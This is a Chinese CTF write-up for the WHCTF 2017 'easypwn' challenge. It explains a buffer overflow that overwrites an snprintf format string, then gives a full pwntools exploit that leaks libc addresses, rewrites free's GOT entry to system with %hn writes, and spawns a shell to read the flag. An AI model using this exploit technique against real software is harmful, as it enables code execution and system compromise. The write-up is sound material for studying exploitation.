[XCTF-pwn] 36_xctf-4th-WHCTF-2017_easypwn

snprintf的格式化串中途被覆盖也会生效。

unsigned __int64 m1printf()
{
  char s[1024]; // [rsp+10h] [rbp-BF0h] BYREF
  char v2[1000]; // [rsp+410h] [rbp-7F0h] BYREF
  char v3[1024]; // [rsp+7F8h] [rbp-408h] BYREF
  unsigned __int64 v4; // [rsp+BF8h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  memset(s, 0, sizeof(s));
  memset(v3, 0, 8uLL);
  memset(v2, 0, 0x7E8uLL);
  strcpy(v3, "%s");
  puts("Welcome To WHCTF2017:");
  read(0, s, 0x438uLL);
  snprintf(v2, 0x7D0uLL, v3, s);
  printf("Your Input Is :%s\n", v2);
  return __readfsqword(0x28u) ^ v4;
}

s的长度比预定的要大,当复制到v2时可以覆盖到v3的格式化串,将其覆盖后会执行后部的命令。

难点就是计算偏移,一般printf在64位系统上是从6开始,这里加上0x3e8也就是125再加上输入格式化串2和地址1 一共是134就到了 b'A'*0x3e8+b'AA%xxx'.ljust(0x10, b'A')+p64(address),计算出大概位置后测试即可。第2个领衔就是libc_start_main_ret的偏移,从rsp到rbp再加1从6开始算就是398,前一个397是一个程序加载地址。

另外输出的时候由于前部%s未覆盖前已经有输出,输出数为1000+格式化串16+地址6(后两位为0不输出不计算)

解题思路:

  1. 泄露398和397的libc地址和加载地址
  2. 将system的6字节分3次写入got.free
  3. 调用addfree(/bin/sh)

完整exp:

from pwn import *

'''  
patchelf --set-interpreter /home/shi/buuctf/buuoj_2.23_amd64/ld_2.23-0ubuntu10_amd64.so pwn
patchelf --add-needed /home/shi/buuctf/buuoj_2.23_amd64/libc6_2.23-0ubuntu10_amd64.so pwn
'''

local = 0
if local == 1:
    p = process('./pwn')
    libc_elf = ELF('/home/shi/buuctf/buuoj_2.23_amd64/libc6_2.23-0ubuntu10_amd64.so')
    one = [0x45216, 0x4526a, 0xf02a4, 0xf1147 ]
    libc_start_main_ret = 0x20830
else:
    p = remote('111.200.241.244', 62589) 
    libc_elf = ELF('/home/shi/buuctf/buuoj_2.23_amd64/libc6_2.23-0ubuntu10_amd64.so')
    one = [0x45216, 0x4526a, 0xf02a4, 0xf1147 ]
    libc_start_main_ret = 0x20830

elf = ELF('./pwn')
context.arch = 'amd64'
context.log_level = 'debug'

def printf(msg):
    p.sendlineafter(b"Input Your Code:\n", b'1')
    p.sendafter(b"Welcome To WHCTF2017:\n", msg)

def addfree(msg):
    p.sendlineafter(b"Input Your Code:\n", b'2')
    p.sendafter(b"Input Your Name:\n", msg)

#gdb.attach(p)
#pause()

#for i in range(10):
#    printf(b'x'*0x3e8+ b'AA'+ f'%{130+i}$p'.encode().ljust(0x10-2, b'A')+ p64(0x12345678))
offset = 134
#RBP: 0x7ffe889faef0 --> 0x7ffe889faf30 --> 0x559e8be36da0 (push   r15)
#RSP: 0x7ffe889fa2f0 --> 0x0 
#0072| 0x7ffe889faf38 --> 0x7f22b8a14830 (<__libc_start_main+240>:	mov    edi,eax)
# (0x7ffe889faf38-0x7ffe889fa2f0)//8 = 393
printf(b'x'*0x3e8+ b'AA'+ b'%398$p'.ljust(0x10-2-1, b'A')+ b',')
p.recvuntil(b',')
libc_base = int(p.recvuntil(b'A', drop=True), 16) - libc_start_main_ret
libc_elf.address = libc_base
print('libc:', hex(libc_base))

printf(b'x'*0x3e8+ b'AA'+ b'%397$p'.ljust(0x10-2-1, b'A')+ b',')
p.recvuntil(b',')
pwn_base = int(p.recvuntil(b'A', drop=True), 16) - 0xda0
elf.address = pwn_base
print('pwn:', hex(pwn_base))

#got.free=system
sys1 = libc_elf.sym['system'] & 0xffff
sys2 = (libc_elf.sym['system']>>16) & 0xffff
sys3 = (libc_elf.sym['system']>>32) & 0xffff
#padding:1000 str:AA+xx 16 addr:6
printf(b'x'*0x3e8+ b'AA'+ f'%{sys1 - 1022}c%134$hn'.encode().ljust(0x10-2-1, b'A')+ p64(elf.got['free']))
printf(b'x'*0x3e8+ b'AA'+ f'%{sys2 - 1022}c%134$hn'.encode().ljust(0x10-2-1, b'A')+ p64(elf.got['free']+2))
printf(b'x'*0x3e8+ b'AA'+ f'%{sys3 - 1022}c%134$hn'.encode().ljust(0x10-2-1, b'A')+ p64(elf.got['free']+4))

addfree(b'/bin/sh')
p.sendline(b'cat /flag')
p.interactive()

你可能感兴趣的:(CTF,pwn,pwn)